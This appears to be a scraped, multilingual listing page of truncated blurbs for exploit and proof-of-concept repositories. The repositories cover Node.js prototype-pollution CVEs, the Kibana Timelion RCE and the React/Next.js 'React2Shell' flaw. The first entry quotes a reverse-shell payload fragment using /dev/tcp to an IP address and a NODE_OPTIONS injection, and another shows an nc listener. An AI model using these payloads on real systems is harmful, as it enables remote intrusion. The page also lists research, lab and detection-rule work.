kibana-RCE

CVE-2019-7609 kibana-RCE & /dev/tcp/10.10.20.166/8989 0&1";process.exit//' .propslabel.proto.env.NODEOPTIONS='--require /proc/self/environ' 0x02 Haga clic en Canvas para obtener shell...

React2Shell-CVE-2025-55182-PoC-Reverse-Shell

🚀 React2Shell - CVE-2025–55182 Script de explotación 🔥 Introducción Este repositorio contiene un script de explotación para la vulnerabilidad React2Shell CVE-2025–55182, que ataca un tipo específico de Node.js Prototype Pollution que conduce a la ejecución remota de código RCE. El script está...

CVE-2021-23383

CVE-2021-23383 El paquete handlebars anterior a la versión 4.7.7 es vulnerable a Contaminación de Prototipos al seleccionar ciertas opciones de compilación para compilar plantillas provenientes de una fuente no confiable...

CVE-2019-7609

CVE-2019-7609 Kibana Kibana的Timelion visualizer存在缺陷，可导致远程代码执行的漏洞 环境配置 docker 1. 运行附带的 docker-compose.yml。 root@kitploit: docker-comopse up -d 2. 在浏览器中访问 http://127.0.0.1:5601。 漏洞利用 1. 准备一个反弹shell。 root@kitploit: $ nc -lvp 6666 2. 在Kibana的Timelion界面中输入payload，然后点击运行。 root@kitploit:...

CVE-2018-16492

Node.js 的 extend 方法 node-extend 是 jQuery 经典 extend 方法的移植版本。它的行为完全符合预期，简单、久经考验且可靠。 注意事项： 对于 Node.js = 4， Object.assign 现已原生提供相同的功能（但不包括“深拷贝”选项）。 请参阅 ECMAScript 2015 ES6 in Node.js。 某些 Node.js 和众多浏览器中（因为 NPM 模块也适用于浏览器）对 Object.assign 的原生实现可能不完全是规范兼容的。 请查看 object.assign 模块以获取兼容的候选方案。 安装 本包通过 npm...

CVE-2025-66478-Exploit-PoC

PoC de Exploit para CVE-2025-66478 Este repositorio contiene código de prueba de concepto PoC para reproducir e investigar la vulnerabilidad CVE-2025-66478 de Next.js. Incluye una aplicación Next.js vulnerable y un script de exploit en Node.js para probar la vulnerabilidad. Inglés · 中文 ¿Qué es...

CVE-2025-55182

CVE-2025-55182 Next.js 原型污染漏洞 CVE-2025-55182 是 nextjs 中一个严重的原型污染漏洞，由于框架的请求处理机制对输入净化不当，可实现远程代码执行（RCE）。整件事的根源在于 nextjs 居然像毫无经验的新手一样信任 JSON 对象。 POC root@kitploit: 1）请求解析中的原型污染：nextjs 未能正确净化可污染原型链的对象。 2）不安全的反序列化：该框架允许 JSON 对象修改基类对象原型。 3）通过 childprocess 实现 RCE：污染原型链后，我们可以劫持逻辑，让服务器执行任意命令。 环境搭建...

react-ssr-vulnerability

CVE-2025-55182 - React Server Components RCE POC Este es un PoC con fines educativos y de investigación en seguridad únicamente. Esta vulnerabilidad ha sido parcheada en las últimas versiones de los paquetes afectados. Utiliza esta herramienta solo en sistemas que te pertenezcan o sobre los que...

CVE-2021-44906

CVE-2021-44906 原出处：https://github.com/Marynk/JavaScript-vulnerability-detection/blob/main/minimist%20PoC.zip 运行 root@kitploit: npm run hack 然后你会看到任意函数的 done 属性被改为 true。 命令行 node index.js --.concat.constructor.prototype.done true 的解释： -- 是命令行参数中常用的连字符标记。 是 minimist...

CVE-2020-7699_reproduce

Reproducción de CVE-2020-7699 Reproducción de la vulnerabilidad RCE en Node.js CVE-2020-7699, mi trabajo de laboratorio Configuración Versión de Node.js: v14.16.1, asegúrate de que la versión de Node.js sea 14 otras versiones probablemente funcionen, no lo probé Versión de Python: 3.9.5, Python...

CVE-2020-8158

CVE-2020-8158: TypeORM Prototype Pollution Vulnerability Overview This is a proof-of-concept demonstrating CVE-2020-8158, a critical prototype pollution vulnerability in TypeORM versions 0.2.25. Vulnerability Details CVE ID : CVE-2020-8158 CVSS Score : 9.8 CRITICAL Affected Package : TypeORM 0.2....

CVE-2025-55182-POC

CVE-2025-55182 / CVE-2025-66478 Entorno de reproducción de vulnerabilidades Este es un MVP mínimo para reproducir las vulnerabilidades React2Shell CVE-2025-55182 y Next.js RSC RCE CVE-2025-66478. ⚠️ Advertencia Este proyecto es solo para fines de investigación y educación en seguridad. No lo...

CVE-2024-23339

CVE-2024-23339 취약점 개요 CVE-2024-23339 CVSS : 6.5 Jan 23, 2024 ProtoType Pollution in node.js package rebob 프로젝트의 일환 취약점 설명 github advisories hoolock is a suite of lightweight utilities designed to maintain a small footprint when bundled. Starting in version 2.0.0 and prior to version 2.2.1, utilit...

CVE-2025-55182

CVE-2025-55182 - PoC de React2Shell Un exploit de prueba de concepto para CVE-2025-55182, una vulnerabilidad crítica CVSS 10.0 de ejecución remota de código no autenticada en React Server Components. Créditos Descubierto porLachlan Davidson - Reportado al equipo de Meta/React el 29 de noviembre d...

FiberBreak

FiberBreak Marco de explotación para CVE-2025-55182 React2Shell - vulnerabilidad crítica de RCE en React Server Components. Resumen CVE : CVE-2025-55182 CVSS : 10.0 CRÍTICA Tipo : Ejecución remota de código RCE Afectados : React 19.0.0-rc.0 a 19.0.0, Next.js 15.0.0 a 15.0.3 Descubrimiento : Lachl...

Suricata-Rule-for-Detecting-CVE-2025-55182

Regla de Detección de Suricata para CVE‑2025‑55182 Envenenamiento de Acción de Next.js → RCE de Node.js con execSync 📌 Descripción Este documento explica cómo la regla de Suricata SID 900304 detecta intentos de explotación de CVE‑2025‑55182 , una vulnerabilidad crítica en Next.js que permite Acti...

CVE-2023-45827

CVE-2023-45827 Resumen de la vulnerabilidad CVE-2023-45827 CVSS: 9.8 Nov 3, 2023 ProtoType Pollution en el paquete node.js Parte del proyecto rebob Descripción de la vulnerabilidad Advertencias de GitHub Esta es una vulnerabilidad de Prototype Pollution PP en dot-diver. Puede llevar a RCE. Código...

CVE-2025-71389_exploit

CVE-2025-71389 — Cal.com RCE no autenticado react2shell Ejecución remota de código no autenticada en Cal.com = 5.9.8 mediante el fallo de deserialización "Flight" de los React Server Components — "react2shell " CVE-2025-55182 en React, CVE-2025-66478 en Next.js. Cal.com incluye un Next.js 15.x...

CVE-2025-55182-Test-Server

CVE-2025-55182-Test-Server Play with react2shell in a safe environment! Quick Start Clone the repo root@kitploit: git clone https://github.com/CharlesTheGreat77/CVE-2025-55182-Test-Server cd CVE-2025-55182-Test-Server Run the docker file root@kitploit: docker compose up --build -d PoC...

react2shell_analyzer

Analizador React2Shell Un potente analizador de proxy HTTP para inspeccionar el tráfico de Server Actions de Next.js entre su navegador/PoC y el servidor Next.js. Repositorio de GitHub https://github.com/Benrich127N/react2shellanalyzer.git Características 🔍 Inspección de Cabeceras : Registra toda...